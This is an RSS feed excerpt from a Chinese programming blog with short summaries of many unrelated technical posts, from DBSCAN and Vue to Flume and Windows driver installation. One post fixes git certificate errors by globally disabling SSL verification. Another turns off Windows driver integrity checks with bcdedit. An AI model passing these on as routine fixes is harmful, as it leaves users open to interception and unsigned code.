      <description>DBSCAN（Density-Based Spatial Clustering of Applications with Noise）聚类算法，它是一种基于高密度连通区域的、基于密度的聚类算法，能够将具有足够高密度的区域划分为簇，并在具有噪声的数据中发现任意形状的簇。&#xA;DBSCAN算法的思想其实很简单，粗俗点说就是一圈套一圈套一圈套一圈………………然而，要搞清楚它，首先要弄清楚几个基本概念。&#xA;基本概念 1、对象o是一个核心对象。对象o的 ε -领域是与o为中心，以 ε 为半径的空间。 2、MinPts指定稠密区域的密度阀值。如果一个对象的 ε -区域至少包含MinPts个对象，则该对象是核心对象。 3、直接密度可达：如果对象p在核心对象q的 ε -领域内，则p是从q直接密度可达的。 4、密度可达：如果存在一个对象链p1，p2，……，pn，使得p1=q，pn=p，并且对于pi属于D，pi+1是从pi关于 ε 和MinPts直接密度可达的。 5、密度相连：如果存在对象q ε D,使得p1和p2都是从q关于MinPts密度可达的，则称p1和p2是关于 ε 和MinPts密度相连的。&#xA;来个图说明一下： 由上图可看出m,p,o.r 都是核心对象，因为他们的内都只是包含3个对象。&#xA;1.对象q是从m直接密度可达的。对象m从p直接密度可达的。 2.对象q是从p（间接）密度可达的,因为q从m直接密度可达，m从p直接密度可达。 3.r和s是从o密度可达的，而o是从r密度可达的，所有o,r和s都是密度相连的。&#xA;算法执行流程 如果，仔细研究这个算法，相信你会对我之前说的是一圈套一圈套一圈套一圈（实际上是密度可达的含义），会有所体会，哈哈^_^&#xA;OK，看一下伪代码吧。 到这里，Jiawei书上关于DBSCAN的部分就讲解完了，然而看过西瓜书的同学可能会发现，这里的做法与西瓜书上，会有些许不同 实际上，对比Jiawei和周志华老师的算法，你会发现差别并不大。只是在起始的时候会有一些区别，而算法推进策略是完全一样的。&#xA;OK，至此，DBSCAN算法结束了。 下面给几点需要注意的。 1、大家在看到上面的那个图的时候，容易过分具象化簇了。为什么这么说呢？因为一般的讲义都是把簇画成圆形，并且给出了核心点和半径。这样便于大家理解算法的思想。但实际上，大家要注意。DBSCAN是可以发现任意形状的簇的，因为它是基于密度的呀。因此这个簇基本上都不是圆形了，而且这个半径实际上是一个阀值。判断一个点是否在它的半径内，实际上还是通过计算距离来判断的。 2、DBSCAN算法需要选择一种距离度量，对于待聚类的数据集中，任意两个点之间的距离，反映了点之间的密度，说明了点与点是否能够聚到同一类中。由于DBSCAN算法对高维数据定义密度很困难，所以对于二维空间中的点，可以使用欧几里德距离来进行度量。 3、DBSCAN算法需要用户输入半径和阀值。前面也提到过，要求用户输入参数基本上都是不靠谱的，这里DBSCAN算法经过反复的实验，给出了一般的标准化参数，即半径=4，阀值=4。 具体，参数值是如何确定的，DBSCAN也是采用了一般的处理方法。而具体是什么，因为该处理方法是比较通用的，所以以后再说吧。&#xA;参考文章 DBSCAN聚类原理 数据挖掘（概念与技术）-第三版-Jiawei Han-P307</description>
    </item>
    <item>
      <title>执行git命令时出现.git/&#39;: SSL certificate problem: self signed certificate的解决办法</title>
      <link>https://bchobby.github.io/posts/c00698f7c4dfa134ec01f2ffa95629be/</link>
      <pubDate>Wed, 30 Aug 2017 14:44:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c00698f7c4dfa134ec01f2ffa95629be/</guid>
      <description>SSL证书的问题，可以忽略证书继续重新执行&#xA;git config --global http.sslVerify false</description>
    </item>
    <item>
      <title>Intel I218 V、Intel I219 V等网卡不能安装window server服务器系统驱动解决方法</title>
      <link>https://bchobby.github.io/posts/80a305288eb27610d92e5cf3bb3816aa/</link>
      <pubDate>Wed, 30 Aug 2017 11:46:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80a305288eb27610d92e5cf3bb3816aa/</guid>
      <description> Intel(R) Ethernet Connection I218 V&#xA;Intel(R) Ethernet Connection I219 V&#xA;该网卡在安装windows Server系列系统（如windows server2012 、windows server2016等）时无法安装驱动，&#xA;官方不提供该网卡的windows server版驱动（原因不明，可能和商业销售模式有关）。&#xA;解决思路：&#xA;Intel(R) Ethernet Connection I218-LM是有windows server驱动的。两种网卡应该是通用的驱动，只是官方不给装。&#xA;解决方法：（以Windows Server 2016为例）&#xA;1、从官网下载PROWinx64驱动包。 https://downloadcenter.intel.com/zh-cn/product/71307/-I218-LM&#xA;2、改系统签名：&#xA;打开CMD分别执行：&#xA;bcdedit -set loadoptions DISABLE_INTEGRITY_CHECKS&#xA;bcdedit -set TESTSIGNING ON&#xA;重启电脑。。。&#xA;重启后系统桌面右下角：&#xA;3、手动安装驱动&#xA;打开设备管理器，找到未安装的网卡，右击，点击“更新驱动”&#xA;如上图点击手动&#xA;选择下载下的驱动包对应文件：PROWinx64\PRO1000\Winx64\NDIS64\e1d64x64.inf&#xA;选择“Intel(R) Ethernet Connection I218-LM”&#xA;点击下一步安装即可。&#xA;安装过程windows可能会弹出是否确定安装的警告，选择确定安装就行了。&#xA;安装完成后如下图，即可正常使用了。&#xA;4、最后，恢复系统签名： 打开CMD，分别执行：&#xA;bcdedit -set loadoptions ENABLE_INTEGRITY_CHECKS&#xA;bcdedit -set TESTSIGNING OFF&#xA;执行后重启电脑。 </description>
    </item>
    <item>
      <title>SCM&#43;MLC/TLC NAND混合SSD性能探究</title>
      <link>https://bchobby.github.io/posts/1bac20504ac69fe40d6d1e20035691f3/</link>
      <pubDate>Wed, 30 Aug 2017 10:45:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bac20504ac69fe40d6d1e20035691f3/</guid>
      <description>存储级内存(SCM)带来的存储革命 随着数据量的大幅增长以及各种数据分析应用的出现，存储市场保持着快速增长势头。然而，这些应用极大地消耗着硬件性能。随着性能需求的不断提升，即使是闪存也显得力不从心了。因此，我们需要新的技术和新的架构来应对这个新的挑战。&#xA;性能需求的快速增加，存储系统需要变得更快、更加密集、更加便宜，同时还要更加绿色。内存中处理(毫无疑问会极大的消耗内存)也带来了不断增加的内存配置以及动态随机访问内存(DRAM)的成本和能耗之间的平衡问题。&#xA;这些发展的结合形成了一个近乎完美的风暴，那就是存储级内存(SCM)。SCM已经成为了一个新的流行词，代表着下一代的非易失性内存(NVM)。&#xA;将下一代持久性存储应用到自己产品中的先行者将获取每年十亿计的收入，而且还会随着时间推移不断增加。SCM技术在目前的生态系统中有多个切入点，每一个切入点都能带来高价值。这一轮的变革大致顺序可以用以下三个场景来说明：&#xA;作为下一代的闪存替代技术，将彻底改变外部存储。&#xA;NVM到DRAM的扩展将带来更大规模的内存中处理(in-memory processing)。&#xA;持久性内存能彻底改变存储架构。&#xA;SCM+MLC/TLC NAND混合SSD探究&#xA;在SCM+MLC/TLC NAND混合SSD系统中，利用SCM低延迟的优势来提高SSD整体性能，但由于SCM价格较高，则利用TLC NAND低成本的优势来降低SSD整体价格，而MLC NAND则在SCM和TLC NAND充当中间介质。 SCM存储中没有类似NAND中的erase/program，而是通过set/reset来改变介质的状态达到存储的效果。如下图，在SCM中具有更短的set/reser时间，基本在ns级别。&#xA;与MLC NAND相比，TLC NAND具有更长的延迟。同时，TLC NAND 出错几率也大很多。如下图，&#xA;(1) SCM+MLC/TLC NAND混合SSD的架构长什么样子呢？如下图：&#xA;Host传进来的数据要写入SCM？MLC NAND？TLC NAND？怎么判断呢？主要看data management的“慧眼”。&#xA;如上图，来自Host的Cold/Sequential数据会直接写入MLC NAND，而Hot或者Random数据会写入SCM，当SCM满时，在挑选出相对cold的数据写入MLC NAND。最后已经写入MLC NAND的数据再将Frozen的数据趁MLC NAND做GC时搬入TLC NAND。 SCM与MLC NAND之间数据判断采用的是CDE算法：&#xA;MLC NAND与TLC NAND之间数据判断采用的是RR-FDCA算法：&#xA;(2) SCM+MLC/TLC NAND混合SSD效果如何呢？&#xA;针对Hot workloads情况下，SCM对混合SSD的整体提升效果很明显。&#xA;针对Cold/Random workloads情况下，SCM对混合SSD的性能也有一定的提升。不过，此时混合SSD的性能已经看到有收到NAND flash的制约。&#xA;针对Cold/Sequential workloads情况下，SCM的作用基本没有了，混合SSD的性能基本与Only NAND-based SSD的性能差别不大。&#xA;写在最后&#xA;实现SCM+MLC/TLC NAND混合SSD，需要在不同workloads与cost之间做出平衡。随着QLC的问世，相信QLC凭借更低的价格优势，会助力混合SSD更加多样化。&#xA;欲了解更多研究细节，请点击&#34;阅读原文&#34;下载原版英文文献，谢谢！&#xA;精彩推荐:&#xA;企业级SSD发展趋势 2D NAND和3D NAND横向对比 第二代3D TLC NAND原厂级深度评测&#xA;为QLC保驾护航 | 慧荣科技亮出最新LDPC技术&#xA;SSD固态硬盘接口种类多，你了解多少？ 写放大机制与影响因素详解</description>
    </item>
    <item>
      <title>后台接受list的两种办法</title>
      <link>https://bchobby.github.io/posts/5a4a0cd67a1c2e0169742e9ba81aeb59/</link>
      <pubDate>Tue, 29 Aug 2017 16:03:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a4a0cd67a1c2e0169742e9ba81aeb59/</guid>
      <description>//后台接受list的第一种方法 var users = new Array(); var user = {}; user.userName=&#34;aa&#34;; user.userGuid=&#34;1&#34;; users.push(user); var user1 = {}; user1.userName=&#34;aa&#34;; user1.userGuid=&#34;1&#34;; users.push(user1); var result=JSON.stringify(users); $.ajax({ type : &#39;POST&#39;, url : &#39;${base}/aaa.do?guid=&#39;+ guid, dataType : &#39;json&#39;, contentType:&#34;application/json&#34;, data:result, success : function(data) { } }); @RequestMapping(&#34;/aaa&#34;) @ResponseBody public Object aaa(@RequestBody List&amp;lt;SysUser&amp;gt; syss){ SysDepart model= sysDepartService.findById(guid); return model; } //后台接受list的第二种方法 如果还是400错误，就是实体的格式不正确 所以隐射不了 表单和 数组 一起拼接到后台 depart 的 users 接受 数组 var lsUsers = new Array(); var user1 = {}; user1.</description>
    </item>
    <item>
      <title>css3--rem</title>
      <link>https://bchobby.github.io/posts/70652bf593ff7e5bf42c8e9b85f4dc28/</link>
      <pubDate>Tue, 29 Aug 2017 14:25:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70652bf593ff7e5bf42c8e9b85f4dc28/</guid>
      <description>DPR = 物理像素 / 逻辑像素&#xA;1.在JavaScript中，通过window.devicePixelRatio来获取&#xA;2.在css中，可以通过-webkit-device-pixel-ratio，-webkit-min-device-pixel-ratio和 -webkit-max-device-pixel-ratio进行媒体查询，对不同DPR的设备，做一些样式适配(这里只针对webkit内核的浏览器和webview)。&#xA;一，用媒体查询来设置html的font-size：&#xA;@media screen and (min-width: 320px) { html {font-size: 14px;} } @media screen and (min-width: 360px) { html {font-size: 16px;} } @media screen and (min-width: 400px) { html {font-size: 18px;} } @media screen and (min-width: 440px) { html {font-size: 20px;} } @media screen and (min-width: 480px) { html {font-size: 22px;} } @media screen and (min-width: 640px) { html {font-size: 28px;} } 二、利用js来动态设置</description>
    </item>
    <item>
      <title>C# WebAPI 上传文件和图片</title>
      <link>https://bchobby.github.io/posts/4848e8516aec28d52c14488a7098e9c0/</link>
      <pubDate>Tue, 29 Aug 2017 10:30:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4848e8516aec28d52c14488a7098e9c0/</guid>
      <description>前端使用 ajax+fromData 方式上传； 直接贴源码： 前台页面： &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;Title&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;https://code.jquery.com/jquery-3.2.1.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script&amp;gt; function doUpload() { var formData = new FormData($( &#34;#uploadForm&#34; )[0]); $.ajax({ url: &#39;http://localhost:16516/api/Upload?guid=1234567890&#39; , type: &#39;POST&#39;, data: formData, async: false, cache: false, contentType: false, processData: false, success: function (returndata) { alert(returndata); }, error: function (returndata) { alert(returndata); } }); } &amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;form id= &#34;uploadForm&#34;&amp;gt; &amp;lt;p &amp;gt;指定文件名： &amp;lt;input type=&#34;text&#34; name=&#34;filename&#34; value= &#34;&#34;/&amp;gt;&amp;lt;/p &amp;gt; &amp;lt;p &amp;gt;上传文件： &amp;lt;input type=&#34;</description>
    </item>
    <item>
      <title>Flume拦截器（Interceptor）</title>
      <link>https://bchobby.github.io/posts/0f9b62de0217ea226a31812e92d89448/</link>
      <pubDate>Fri, 25 Aug 2017 18:19:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f9b62de0217ea226a31812e92d89448/</guid>
      <description>Flume中的拦截器（interceptor），当Source读取events发送到Sink的时候，在events header中加入一些有用的信息，或者对events的内容进行过滤，完成初步的数据清洗。这在实际业务场景中非常有用，Flume-ng 1.7中目前提供了以下拦截器：&#xA;Timestamp Interceptor；&#xA;Host Interceptor；&#xA;Static Interceptor；&#xA;UUID Interceptor；&#xA;Morphline Interceptor；&#xA;Search and Replace Interceptor；&#xA;Regex Filtering Interceptor；&#xA;Regex Extractor Interceptor；&#xA;可以对一个source指定多个拦截器，按先后顺序依次处理。如：&#xA;a1.sources.r1.interceptors=i1 i2 a1.sources.r1.interceptors.i1.type=regex_filter a1.sources.r1.interceptors.i1.regex=\\{.*\\} a1.sources.r1.interceptors.i2.type=timestamp Timestamp Interceptor 时间戳拦截器，将当前时间戳（毫秒）加入到events header中，key名字为：timestamp，值为当前时间戳。用的不是很多。比如在使用HDFS Sink时候，根据events的时间戳生成结果文件，&#xA;hdfs.path = hdfs://cdh5/tmp/dap/%Y%m%d&#xA;hdfs.filePrefix = log_%Y%m%d_%H&#xA;会根据时间戳将数据写入相应的文件中。&#xA;但可以用其他方式代替（设置useLocalTimeStamp = true）。&#xA;[hadoop@h71 conf]$ vi timestamp.conf a1.sinks = k1 a1.channels = c1 a1.sources.r1.type = exec a1.sources.r1.channels = c1 a1.sources.r1.command = tail -F /home/hadoop/hui/hehe.txt a1.sources.r1.interceptors = i1 a1.sources.r1.interceptors.i1.type = timestamp a1.</description>
    </item>
    <item>
      <title>共享单车工作原理</title>
      <link>https://bchobby.github.io/posts/25885af58deb5a8ae873d9ca3d1eb85a/</link>
      <pubDate>Fri, 25 Aug 2017 18:04:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25885af58deb5a8ae873d9ca3d1eb85a/</guid>
      <description>这里说的“共享单车工作原理”主要针对于单车上的那个智能车锁。当然，用过共享单车的人都知道——不是所有共享单车都有智能车锁。所以，我们先来讨论一下使用智能锁和机械锁的利弊：&#xA;（1）机械锁（使用固定密码） 优点：不需要使用电源，成本低； 缺点：没有通信和定位模块，用户无法主动精确定位到单车位置，造成骑行不变，同时存在管理漏洞。 （2）智能锁（通过信息交互完成开锁） 优点：内置 GSM 与 GPS 模块，可以实时定位到单车位置，也可以开发增值服务，如预约单车、大数据分析等； 缺点：需要消耗电能，需要配套充电设备来弥补损失的电量。&#xA;显然，在互联网时代，使用智能车锁是更为明智的选择，但是必须克服瓶颈——电源！ 我们先来聊聊内部的电源模块，电子锁内部主要存在两个耗电模块，一是给 GSM 与 GPS 模块供电，另外是给减速电机供电（扫码开锁，就是由减速电机转动完成自动开锁动作）。这两个模块所需的电源均是由内部的锂电池供电，锂电池电源会有变化，需要稳压模块供电，减速电机也需要驱动模块，这两个供电模块均是低压电源转换。 现在用的比较多的充电设备主要有两种：一是使用 IBC 太阳能面板供电，另外一种是骑行发电。太阳能面板随着光照的强度不同，其面板产生的电压范围较宽，需要使用DC-DC电源模块将宽泛的电压稳定成固定电压值给锂电池充电。骑行发电有两种发电电机:一类是花鼓发电，随着骑行速度增大，花鼓提供的电压增大，电压浮动范围超大；另外是动力回收，是靠刹车时带动高速齿轮电机发电，此电机具有瞬态输出电压高，功率大等特点。目前我们有全套的高压降压稳压与锂电池充电管理方案。已经大批量应用于现有的主力的共享单车方案中。&#xA;（未完待续…）&#xA;参考： http://www.sohu.com/a/167045000_355019</description>
    </item>
    <item>
      <title>HDU 33蛇形填数</title>
      <link>https://bchobby.github.io/posts/c1c1653ae63401d4879f525ce2886a8d/</link>
      <pubDate>Thu, 24 Aug 2017 20:06:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1c1653ae63401d4879f525ce2886a8d/</guid>
      <description>蛇形填数 时间限制： 3000 ms | 内存限制： 65535 KB 难度： 3 描述 在n*n方陈里填入1,2,...,n*n,要求填成蛇形。例如n=4时方陈为： 10 11 12 1 9 16 13 2 8 15 14 3 7 6 5 4 输入 直接输入方陈的维数，即n的值。(n&amp;lt;=100) 输出 输出结果是蛇形方陈。 样例输入 3 样例输出 7 8 1 6 9 2 5 4 3 来源 算法经典 上传者 首席执行官 这道题的关键就在于要找到填数的规律，截止条件就是t=n*n #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; int a[105][105]; int main() { int n; while(scanf(&#34;%d&#34;,&amp;amp;n)!=EOF) { memset(a,0,sizeof(a)); int x=0,y=n-1,t=1; a[x][y]=1; while(t&amp;lt;n*n) { while(x+1&amp;lt;n&amp;amp;&amp;amp;!a[x+1][y]) a[++x][y]=++t;//先判断接下来这一个数是否符合条件，如果符合条件，就进行赋值！ while(y-1&amp;gt;=0&amp;amp;&amp;amp;!</description>
    </item>
    <item>
      <title>XYNUOJ 1122 布尔矩阵</title>
      <link>https://bchobby.github.io/posts/32f69b7b2dacf247a6fa4b7ab0ae82e4/</link>
      <pubDate>Thu, 24 Aug 2017 17:03:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32f69b7b2dacf247a6fa4b7ab0ae82e4/</guid>
      <description>1122: 布尔矩阵 时间限制: 1 Sec 内存限制: 32 MB 提交: 47 解决: 28 [ 提交][ 状态][ 讨论版] 题目描述 一个布尔矩阵有一种奇偶性，即该矩阵所有行和所有列的和都是偶数。下面这4×4的矩阵就具有奇偶性： 1 0 1 0 0 0 0 0 1 1 1 1 0 1 0 1 它所有行的和是2，0，4，2。它所有列的和是2，2，2，2。 现请你编写一个程序，读入这个矩阵并检查它是否具有奇偶性。如果没有，你的程序应当再检查一下它是否可以通过修改一位（把0修改为1，把1修改为0）来使它具有奇偶性。如果不可能，这个矩阵就被认为是破坏了。 输入 输入包含多组测试数据。每组测试数据的第一行是一个整数n（1&amp;lt;=n&amp;lt;=100），代表该矩阵的大小。在接下来的行中，每行有n个整数。矩阵是由0或1构成的。n=0时，输入结束。 输出 对于每组输入，如果这个矩阵具有奇偶性，则输出“OK”。如果奇偶性能通过只修改该矩阵中的一位来建立，那么输出“Change bit (i,j)”，这里i和j是被修改的这位的行号和列号。否则，输出“Corrupt”。 样例输入 4 1 0 1 0 0 0 0 0 1 1 1 1 0 1 0 1 4 1 0 1 0 0 0 1 0 1 1 1 1 0 1 0 1 4 1 0 1 0 0 1 1 0 1 1 1 1 0 1 0 1 0 样例输出 OK Change bit (2,3) Corrupt 提示</description>
    </item>
    <item>
      <title>java中的抽象类和接口</title>
      <link>https://bchobby.github.io/posts/0af6ea247c0b58b9530ca8befd5bc6bb/</link>
      <pubDate>Thu, 24 Aug 2017 14:22:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0af6ea247c0b58b9530ca8befd5bc6bb/</guid>
      <description>java中的抽象类和接口&#xA;一、抽象类：&#xA;1、什么是抽象类？&#xA;Java中可以定义没有方法体的方法，方法的具体实现由子类完成，方法称为抽象方法，包含抽象方法的类就是抽象类。&#xA;2、抽象类和抽象方法分别是怎样定义的？&#xA;抽象类：访问修饰符abstractclass 类名{……}&#xA;抽象方法： 访问修饰符abstract返回类型 方法名(参数列表)&#xA;public abstract class Shape { private String color; //定义一个计算周长的抽象方法 public abstract double calPerimeter(); //定义一个返回形状的抽象方法 public abstract String getType(); //定义Shape的构造器，该构造器并不是用于创建Shape对象，而是用于被子类调用 public Shape(){} public Shape(String color) { System.out.println(&#34;执行Shape的构造器...&#34;); this.color = color; } public void setColor(String color) { this.color = color; } public String getColor() { return this.color; } } 3、抽象类和抽象方法的特点有哪些？&#xA;（1）抽象类和抽象方法都通过abstract关键字来修饰；&#xA;（2）抽象类不能实例化；抽象类可以没有、有一个或多个抽象方法，甚至全部方法都可以是抽象方法；&#xA;（3）抽象方法只有方法声明，没有方法实现；&#xA;（4）有抽象方法的类必须声明为抽象类；&#xA;（5）子类必须重写所有抽象方法才能实例化，否则子类还是一个抽象类。&#xA;/**&#xD;* 抽象类Shape的继承类Triangle&#xD;*/&#xD;public class Triangle extends Shape { //定义三角形的三边 private double a; private double b; private double c; public Triangle(String color , double a , double b , double c) { super(color); this.</description>
    </item>
    <item>
      <title>阿里笔试题</title>
      <link>https://bchobby.github.io/posts/b0a82a152712cff854dfaa7c8680a866/</link>
      <pubDate>Wed, 23 Aug 2017 20:24:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0a82a152712cff854dfaa7c8680a866/</guid>
      <description>1.&#xA;class Cash { constructor(cash) { this.cash = cash; var fen = cash%100; var jiao = (cash/10)%10; var yuan = (cash/100); this.reCash = `${yuan}元${jiao}角${fen}分`; } add (obj1,obj2) { return reCash; } }; var cash1 =new Cash(105); var cash2 = new Cash(66); var cash3 = cash1.add(cash2); var cash4 = cash1.add(cash1，cash2); var cash5 = new Cash(cash1+cash2); console.log(${cash1},${cash2},${cash3});&#xA;2.在用户体验良好的基础上，采集页面所有的ajax请求的返回状态和响应时间。&#xA;3.用户自定义事件机制 实现on，可给对象绑定多个函数，且函数能多次触发。 emit方法：只绑定一个，且只触发一次。&#xA;4.IE11中可以使用 Promise对象。 5.A&amp;gt;B 表示选择A元素的所有子B元素。(直接子元素) 与A B的区别在于，A B选择所有后代元素，而A&amp;gt;B只选择一代。 6.&#xA;/[ABCD]{2,3}[a-z0-9]+/.test(&#34;CDEv&#34;); /[ABCD]{2,3}[a-z0-9]+/.test(&#34;ABD5&#34;); /[ABCD]{2,3}[a-z0-9]+/.</description>
    </item>
    <item>
      <title>超分辨率重建之DRCN</title>
      <link>https://bchobby.github.io/posts/6f2ce2a1342e78c6484548a96313513f/</link>
      <pubDate>Wed, 23 Aug 2017 10:21:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f2ce2a1342e78c6484548a96313513f/</guid>
      <description>本文与之前的SRCNN不同，采用的是递归卷积网络。对于图像复原问题的操作问题，深度学习处理的时候时不使用pooling层。如果增加网络的深度，将增加更多的参数，则会导致两个问题：一是容易过拟合，二是模型过大，难以存储和重现。因此使用递归神经网络，然而由于梯度消失/爆炸导致不易收敛。因此提出了两种解决方法：一是每层的递归层都是监督式的；二是类似于残差网络，采用skip connection 结构。具体的结构图如下图所示： 主要分为三个部分，第一部分是Embedding network，相当于SRCNN中的特征提取，二是Inference network，相当于特征的非线性变换，第三个是Reconstruction network，即特征图重建。其中的Inference network是一个递归网络，即数据循环地通过该层多次。将这个循环进行展开，就等效于使用同一组参数的多个串联的卷积层，如下图所示： 其中的H_1到H_D是D个共享参数的卷积层。DRCN将每一层的卷积结果都通过同一个Reconstruction Net得到一个重建结果，从而共得到D个重建结果，再把它们加权平均得到最终的输出。另外，受到ResNet的启发，DRCN通过skip connection将输入图像与H_d的输出相加后再作为Reconstruction Net的输入，相当于使Inference Net去学习高分辨率图像与低分辨率图像的差，即恢复图像的高频部分。最终的目标函数是一个多目标优化问题。除了每一个递归层的监督产生的误差还有最终效果的误差。 实验结果如下图所示： 参考： http://cv.snu.ac.kr/research/DRCN/ https://zhuanlan.zhihu.com/p/25532538</description>
    </item>
    <item>
      <title>vue总结</title>
      <link>https://bchobby.github.io/posts/09e49e100e4d1a836e6a8a6f4ee69fbc/</link>
      <pubDate>Tue, 22 Aug 2017 14:48:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09e49e100e4d1a836e6a8a6f4ee69fbc/</guid>
      <description>1.vue中的MVVM模式&#xA;即Model-View-ViewModel。&#xA;Vue是以数据为驱动的，Vue自身将DOM和数据进行绑定，一旦创建绑定，DOM和数据将保持同步，每当数据发生变化，DOM会跟着变化。&#xA;ViewModel是Vue的核心，它是Vue的 一个实例。Vue实例时作用域某个HTML元素上的，这个HTML元素可以是body，也可以是某个id所指代的元素。&#xA;DOM Listeners和Data Bindings是实现双向绑定的关键。DOM Listeners监听页面所有View层DOM元素的变化，当发生变化，Model层的数据随之变化；Data Bindings监听Model层的数据，当数据发生变化，View层的DOM元素随之变化。&#xA;2.v-show指令，v-if的区别&#xA;条件渲染指令，与v-if不同的是，无论v-show的值为true或false，元素都会存在于HTML代码中；而只有当v-if的值为true，元素才会存在于HTML代码中。v-show指令只是设置了元素CSS的style值&#xA;3.如何让css只在当前组件中起作用&#xA;在每一个vue组件中都可以定义各自的css，js，如果希望组件内写的css只对当前组件起作用，只需要在style中写入scoped，即：&#xA;&amp;lt;style scoped&amp;gt;&amp;lt;/style&amp;gt;&#xA;4.指令keep-alive&#xA;在vue-router写着keep-alive，keep-alive的含义：&#xA;如果把切换出去的组件保留在内存中，可以保留它的状态或避免重新渲染。为此可以添加一个keep-alive指令&#xA;&amp;lt;component :is=&#39;curremtView&#39; keep-alive&amp;gt;&amp;lt;/component&amp;gt;&#xA;5.Vuejs组件&#xA;vuejs构建组件使用&#xA;Vue.component(&#39;componentName&#39;,{ /*component*/ })； 这里注意一点，组件要先注册再使用&#xA;Vue.component(&#39;mine&#39;,{&#xA;template:&#39;#mineTpl&#39;,&#xA;props:[&#39;name&#39;,&#39;title&#39;,&#39;city&#39;,&#39;content&#39;]&#xA;});&#xA;var v=new Vue({&#xA;el:&#39;#vueInstance&#39;,&#xA;data:{&#xA;name:&#39;zhang&#39;,&#xA;title:&#39;this is title&#39;,&#xA;city:&#39;Beijing&#39;,&#xA;content:&#39;these are some desc about Blog&#39;&#xA;}&#xA;});&#xA;6.路由嵌套&#xA;路由嵌套会将其他组件渲染到该组件内，而不是进行整个页面跳转router-view本身就是将组件渲染到该位置，想要进行页面跳转，就要将页面渲染到根组件，在起始配置路由时候写到：&#xA;var App = Vue.extend({ root });&#xA;router.start(App,&#39;#app&#39;);&#xA;这里首先将根组件注册进来，用于将路由中配置好的各个页面渲染出来，然后将根组件挂载到与#app匹配的元素上。&#xA;7.指令v-el的使用&#xA;有时候我们想就像使用jquery那样去访问一个元素，此时就可以使用v-el指令，去给这个元素注册一个索引，方便通过所属实例的$el访问这个元素。&#xA;注意&#xA;HTML不区分大小写，所以v-el:someEl将转换为全小写。可以用v-el:some-el然后设置this.$el.someEl。&#xA;示例&#xA;&amp;lt;span v-el:msg&amp;gt;hello&amp;lt;/span&amp;gt;&#xA;&amp;lt;span v-el:other-msg&amp;gt;world&amp;lt;/span&amp;gt;</description>
    </item>
    <item>
      <title>RAID类型级别(全是图)</title>
      <link>https://bchobby.github.io/posts/2651f339e62b811d3fa4c95f7d24ee56/</link>
      <pubDate>Tue, 22 Aug 2017 14:41:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2651f339e62b811d3fa4c95f7d24ee56/</guid>
      <description> 一、raid 0 二、raid 1 三、raid 01 四、raid 10 五、raid 4 六、raid 5 </description>
    </item>
    <item>
      <title>error LNK2005: &#34;public: __cdecl std::basic_ofstream&lt;char,struct std::char_traits&lt;char&gt; &gt;::basic_ofst</title>
      <link>https://bchobby.github.io/posts/9ea4660767034cfd2f0442d3a708574e/</link>
      <pubDate>Sun, 20 Aug 2017 15:52:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ea4660767034cfd2f0442d3a708574e/</guid>
      <description> error LNK2005: &#34;public: __cdecl std::basic_ofstream&amp;lt;char,struct std::char_traits&amp;lt;char&amp;gt; &amp;gt;::basic_ofst&#xA;在项目的的属性：加入一行/FORCE:MULTIPLE </description>
    </item>
    <item>
      <title>浅谈一次URL请求过程</title>
      <link>https://bchobby.github.io/posts/1ebbef9ea3c343eeae6f4e0e8eeda687/</link>
      <pubDate>Fri, 18 Aug 2017 20:39:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ebbef9ea3c343eeae6f4e0e8eeda687/</guid>
      <description>一、前言 之前对浏览器到服务器端的过程不是很清晰，后来浏览了一些大牛的博客，有一些感悟，怕自己忘记，所以记录在自己的博客中。也希望能够给看到这篇博客的人一些帮助。&#xA;二、过程 1、当我们在浏览器中输入URL时，发生了什么？ 浏览器会有自己的缓存。当我们在浏览器中输入内容的同时浏览器也会通过浏览器自身的搜索引擎根据用户输入的字符将匹配到的自己缓存中的内容显示在下拉框中，甚至能够将缓存在浏览器中的页面直接显示出来而不需要按下回车，这些是浏览器内核进行加工渲染的。浏览器缓存的内容通常都是用户经常访问的数据或者近期访问的数据且没有失效以及书签中的内容。 而在输入过程中会发生两种情况：&#xA;用户输入的是正常的能够访问的域名，也就是以字母、数字、标点符号组成的URL用户输入的是不能正常访问的域名，也就是不遵守规范随意输入的字符串 如果是是第一种情况，会进行 2 步骤。如果是第二种情况，那么浏览器就会提取出用户输入的某些关键字交给默认搜索引擎，根据默认搜索引擎直接搜索这些关键字。&#xA;2、当我们输入URL并按下回车后，发生了什么？ 这里以用户输入正常URL并且没有被浏览器缓存命中来说。这时，浏览器就会获取以下信息：&#xA;请求协议，http/https请求资源主页，如：www.baidu.com 浏览器默认为http协议，而且如果服务器端开启了ssl协议，那么通过重定向，整个连接过程也会自动跳转到https协议上，而如果服务器端没有开启ssl协议，那么就算用户专门输入了https也没用。更何况，用户也通常不会专门在URL前面加上https前缀。所以这里以http为例。&#xA;DNS查询&#xA;当浏览器得到URL后，会检索自身DNS缓存。如果有，会通过该URL所对应的IP直接向该IP发起请求。如果没有，会检索操作系统的缓存。这一过程是通过调用库函数完成的，不同的操作系统调用的也是不同的库函数。如果操作系统中的缓存也没有，那么该库函数会检索在本地磁盘中的hosts文件。(不论是windows还是Linux，都是hosts文件)。如果本地磁盘中的hosts文件中也没有，则发起DNS请求 DNS请求 